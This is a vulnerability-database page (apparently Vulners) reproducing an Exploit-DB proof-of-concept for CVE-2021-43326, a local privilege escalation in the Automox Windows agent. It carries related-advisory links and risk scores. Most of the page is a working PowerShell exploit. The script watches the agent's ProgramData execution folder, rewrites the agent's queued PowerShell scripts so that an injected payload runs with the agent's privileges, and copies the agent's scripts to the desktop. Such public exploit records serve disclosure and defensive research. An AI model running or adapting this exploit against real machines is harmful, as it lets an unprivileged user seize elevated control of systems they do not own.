Lucene search
K

Automox Agent 32 - Local Privilege Escalation

🗓️ 05 Jan 2022 00:00:00Reported by Greg FossType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 268 Views

Automox Agent 32 Local Privilege Escalatio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Automox Agent 32 - Local Privilege Escalation Exploit
6 Jan 202200:00
zdt
GithubExploit
Exploit for Incorrect Default Permissions in Automox
13 Dec 202117:26
githubexploit
Circl
CVE-2021-43326
13 Dec 202120:24
circl
CNNVD
Automox Alive Automox Agent 安全漏洞
15 Dec 202100:00
cnnvd
CNNVD
Automox Alive Automox Agent 安全漏洞
15 Dec 202100:00
cnnvd
CNVD
automox Alive Automox Agent Denial of Service Vulnerability
19 Dec 202100:00
cnvd
CVE
CVE-2021-43326
15 Dec 202106:14
cve
Cvelist
CVE-2021-43326
15 Dec 202106:14
cvelist
EUVD
EUVD-2021-30263
3 Oct 202520:07
euvd
EUVD
EUVD-2021-30264
3 Oct 202520:07
euvd
Rows per page
# Exploit Title: Automox Agent 32 - Local Privilege Escalation
# Date: 13/12/2021
# Exploit Author: Greg Foss
# Writeup: https://www.lacework.com/blog/cve-2021-43326/
# Vendor Homepage: https://www.automox.com/
# Software Link: https://support.automox.com/help/agents
# Version: 31, 32, 33
# Tested on: Windows 10
# Language: PowerShell
# CVE: CVE-2021-43326

New-Item -ItemType Directory -Force -Path $HOME\Desktop\automox\
$payload = "whoami >> $HOME\Desktop\automox\who.txt"
echo ""
echo "Watching for Automox agent interaction..."
echo ""
for (($i = 0); $i -lt 500; $i++) {
    if (Test-Path -Path \ProgramData\amagent\execDir*\*.ps1) {
        try {
            $dir = Get-ChildItem \ProgramData\amagent\execDir* | Select-Object Name
            $dir = $dir.name
            $file = Get-ChildItem \ProgramData\amagent\$dir\*.ps1 | Select-Object Name
            $file = $file.name
            (Get-Content -Path \ProgramData\amagent\$dir\$file -Raw) -replace "#endregion", "$payload" | Set-Content -Path \ProgramData\amagent\$dir\$file
            cp -r \ProgramData\amagent\$dir $HOME\Desktop\automox\
            echo 'popped :-)'
            Start-Sleep 5
            echo ''
            echo 'cloning all powershell script content...'
            for (($i = 0); $i -lt 100; $i++) {
                cp -r \ProgramData\amagent\* $HOME\Desktop\automox\ -Force
                Start-Sleep 1
            }
            exit
        } catch {
            throw $_.Exception.Message
        }
    } else {
        echo $i
        Start-Sleep 1
    }
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jan 2022 00:00Current
7.7High risk
Vulners AI Score7.7
CVSS 24.6
CVSS 3.17.8
EPSS0.01538
268